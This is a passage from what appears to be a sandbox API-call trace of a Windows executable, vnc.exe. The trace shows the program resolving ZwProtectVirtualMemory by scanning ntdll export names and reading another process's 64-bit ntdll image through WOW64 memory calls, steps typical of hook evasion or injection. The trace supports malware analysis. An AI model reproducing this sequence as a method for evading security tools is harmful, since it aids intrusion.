lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrSetDllManifestProber", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrSetImplicitPathOptions", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrSetMUICacheType", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrShutdownProcess", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrShutdownThread", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrStandardizeSystemPath", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrSystemDllInitBlock", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrUnloadAlternateResourceModule", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrUnloadAlternateResourceModuleEx", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrUnloadDll", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrUnlockLoaderLock", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrUnregisterDllNotification", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksum", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksumEx", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrpResGetMappingSize", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="LdrpResGetResourceDirectory", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="MD4Final", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="MD4Init", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="MD4Update", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="MD5Final", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="MD5Init", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="MD5Update", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NlsAnsiCodePage", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NlsMbCodePageTag", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NlsMbOemCodePageTag", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NtAcceptConnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NtAccessCheck", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NtAccessCheckAndAuditAlarm", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NtAccessCheckByType", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NtAccessCheckByTypeAndAuditAlarm", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NtAccessCheckByTypeResultList", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarm", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarmByHandle", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NtAddAtom", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NtAddAtomEx", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NtAddBootEntry", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NtAddDriverEntry", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NtAdjustGroupsToken", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NtAdjustPrivilegesToken", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NtAdjustTokenClaimsAndDeviceGroups", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NtAlertResumeThread", lpString2="ZwProtectVirtualMemory") returned -1 [0142.655] lstrcmpA (lpString1="NtAlertThread", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAlertThreadByThreadId", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAllocateLocallyUniqueId", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAllocateReserveObject", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAllocateUserPhysicalPages", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAllocateUuids", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAllocateVirtualMemory", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAlpcAcceptConnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAlpcCancelMessage", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAlpcConnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAlpcConnectPortEx", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAlpcCreatePort", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAlpcCreatePortSection", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAlpcCreateResourceReserve", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAlpcCreateSectionView", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAlpcCreateSecurityContext", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAlpcDeletePortSection", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAlpcDeleteResourceReserve", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAlpcDeleteSectionView", lpString2="ZwProtectVirtualMemory") returned -1 [0142.656] lstrcmpA (lpString1="NtAlpcDeleteSecurityContext", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtAlpcDisconnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtAlpcImpersonateClientContainerOfPort", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtAlpcImpersonateClientOfPort", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtAlpcOpenSenderProcess", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtAlpcOpenSenderThread", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtAlpcQueryInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtAlpcQueryInformationMessage", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtAlpcRevokeSecurityContext", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtAlpcSendWaitReceivePort", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtAlpcSetInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtApphelpCacheControl", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtAreMappedFilesTheSame", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtAssignProcessToJobObject", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtAssociateWaitCompletionPacket", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtCallbackReturn", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtCancelIoFile", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtCancelIoFileEx", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtCancelSynchronousIoFile", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtCancelTimer", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtCancelTimer2", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtCancelWaitCompletionPacket", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtClearEvent", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtClose", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtCloseObjectAuditAlarm", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtCommitComplete", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtCommitEnlistment", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtCommitTransaction", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtCompactKeys", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtCompareObjects", lpString2="ZwProtectVirtualMemory") returned -1 [0142.657] lstrcmpA (lpString1="NtCompareTokens", lpString2="ZwProtectVirtualMemory") returned -1 [0142.658] lstrcmpA (lpString1="NtCompleteConnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0142.658] lstrcmpA (lpString1="NtCompressKey", lpString2="ZwProtectVirtualMemory") returned -1 [0142.658] lstrcmpA (lpString1="NtConnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0142.658] VirtualFree (lpAddress=0x24f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.747] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0142.747] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0142.747] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x17c, ProcessInformationClass=0x0, ProcessInformation64=0x18e9f4, ProcessInformationLength=0x30, ReturnLength=0x18ea4c | out: ProcessInformation64=0x18e9f4, ReturnLength=0x18ea4c) returned 0x0 [0142.747] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0142.747] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0142.748] LocalFree (hMem=0x7392a0) returned 0x0 [0142.749] LocalFree (hMem=0x72e060) returned 0x0 [0142.749] VirtualAlloc (lpAddress=0x0, dwSize=0x5a4, flAllocationType=0x3000, flProtect=0x4) returned 0x830000 [0142.749] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0142.749] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0142.749] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x17c, ProcessInformationClass=0x0, ProcessInformation64=0x18e9f4, ProcessInformationLength=0x30, ReturnLength=0x18ea4c | out: ProcessInformation64=0x18e9f4, ReturnLength=0x18ea4c) returned 0x0 [0142.749] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0142.749] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0142.749] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x3a8000, Buffer=0x0, BufferSize=0x72e060, NumberOfBytesRead=0x28 | out: Buffer=0x0, NumberOfBytesRead=0x28) returned 0x0 [0142.749] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf08e5200, Buffer=0x7fff, BufferSize=0x72e088, NumberOfBytesRead=0x40 | out: Buffer=0x7fff, NumberOfBytesRead=0x40) returned 0x0 [0142.749] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1ce0, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0142.749] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1918, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x58 | out: Buffer=0x0, NumberOfBytesRead=0x58) returned 0x0 [0142.749] StrRChrA (lpStart="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\vnc.exe", lpEnd=0x0, wMatch=0x5c) returned="\\vnc.exe" [0142.749] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1b60, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0142.750] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1a60, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x3a | out: Buffer=0x0, NumberOfBytesRead=0x3a) returned 0x0 [0142.750] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0142.750] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2180, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0142.750] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2300, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x3a | out: Buffer=0x0, NumberOfBytesRead=0x3a) returned 0x0 [0142.750] StrRChrA (lpStart="C:\\Windows\\system32\\wow64.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64.dll" [0142.750] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2460, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0142.750] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b25e0, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: Buffer=0x0, NumberOfBytesRead=0x40) returned 0x0 [0142.750] StrRChrA (lpStart="C:\\Windows\\system32\\wow64win.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64win.dll" [0142.750] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2630, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0142.750] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2100, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: Buffer=0x0, NumberOfBytesRead=0x40) returned 0x0 [0142.750] StrRChrA (lpStart="C:\\Windows\\system32\\wow64cpu.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64cpu.dll" [0142.751] LocalFree (hMem=0x7392a0) returned 0x0 [0142.752] LocalFree (hMem=0x72e060) returned 0x0 [0142.752] lstrcmpiA (lpString1="vnc.exe", lpString2="NTDLL.DLL") returned 1 [0142.752] StrChrA (lpStart="vnc.exe", wMatch=0x2e) returned=".exe" [0142.752] lstrcmpiA (lpString1="vnc", lpString2="NTDLL.DLL") returned 1 [0142.752] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0142.752] VirtualFree (lpAddress=0x830000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.753] VirtualAlloc (lpAddress=0x0, dwSize=0x1c1000, flAllocationType=0x3000, flProtect=0x4) returned 0x24f0000 [0142.753] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a0000, Buffer=0x7fff, BufferSize=0x24f0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.753] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a1000, Buffer=0x7fff, BufferSize=0x24f1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.753] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a2000, Buffer=0x7fff, BufferSize=0x24f2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.754] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a3000, Buffer=0x7fff, BufferSize=0x24f3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.754] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a4000, Buffer=0x7fff, BufferSize=0x24f4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.754] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a5000, Buffer=0x7fff, BufferSize=0x24f5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.754] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a6000, Buffer=0x7fff, BufferSize=0x24f6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.754] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a7000, Buffer=0x7fff, BufferSize=0x24f7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.754] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a8000, Buffer=0x7fff, BufferSize=0x24f8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.755] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a9000, Buffer=0x7fff, BufferSize=0x24f9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.755] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07aa000, Buffer=0x7fff, BufferSize=0x24fa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.755] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ab000, Buffer=0x7fff, BufferSize=0x24fb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.755] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ac000, Buffer=0x7fff, BufferSize=0x24fc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.755] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ad000, Buffer=0x7fff, BufferSize=0x24fd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.755] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ae000, Buffer=0x7fff, BufferSize=0x24fe000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.756] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07af000, Buffer=0x7fff, BufferSize=0x24ff000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.756] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b0000, Buffer=0x7fff, BufferSize=0x2500000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.756] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b1000, Buffer=0x7fff, BufferSize=0x2501000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.756] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b2000, Buffer=0x7fff, BufferSize=0x2502000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.756] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b3000, Buffer=0x7fff, BufferSize=0x2503000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.756] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b4000, Buffer=0x7fff, BufferSize=0x2504000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.756] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b5000, Buffer=0x7fff, BufferSize=0x2505000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.757] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b6000, Buffer=0x7fff, BufferSize=0x2506000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.757] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b7000, Buffer=0x7fff, BufferSize=0x2507000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.757] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b8000, Buffer=0x7fff, BufferSize=0x2508000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.757] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b9000, Buffer=0x7fff, BufferSize=0x2509000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.757] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ba000, Buffer=0x7fff, BufferSize=0x250a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.757] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bb000, Buffer=0x7fff, BufferSize=0x250b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.758] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bc000, Buffer=0x7fff, BufferSize=0x250c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.758] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bd000, Buffer=0x7fff, BufferSize=0x250d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.758] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07be000, Buffer=0x7fff, BufferSize=0x250e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.758] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bf000, Buffer=0x7fff, BufferSize=0x250f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.758] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c0000, Buffer=0x7fff, BufferSize=0x2510000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.758] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c1000, Buffer=0x7fff, BufferSize=0x2511000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.758] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c2000, Buffer=0x7fff, BufferSize=0x2512000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.759] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c3000, Buffer=0x7fff, BufferSize=0x2513000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.759] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c4000, Buffer=0x7fff, BufferSize=0x2514000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.759] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c5000, Buffer=0x7fff, BufferSize=0x2515000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.759] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c6000, Buffer=0x7fff, BufferSize=0x2516000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.759] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c7000, Buffer=0x7fff, BufferSize=0x2517000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.759] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c8000, Buffer=0x7fff, BufferSize=0x2518000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.760] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c9000, Buffer=0x7fff, BufferSize=0x2519000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.760] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ca000, Buffer=0x7fff, BufferSize=0x251a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.760] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cb000, Buffer=0x7fff, BufferSize=0x251b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.760] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cc000, Buffer=0x7fff, BufferSize=0x251c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.760] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cd000, Buffer=0x7fff, BufferSize=0x251d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.760] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ce000, Buffer=0x7fff, BufferSize=0x251e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.761] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cf000, Buffer=0x7fff, BufferSize=0x251f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.761] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d0000, Buffer=0x7fff, BufferSize=0x2520000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.761] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d1000, Buffer=0x7fff, BufferSize=0x2521000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.761] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d2000, Buffer=0x7fff, BufferSize=0x2522000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, 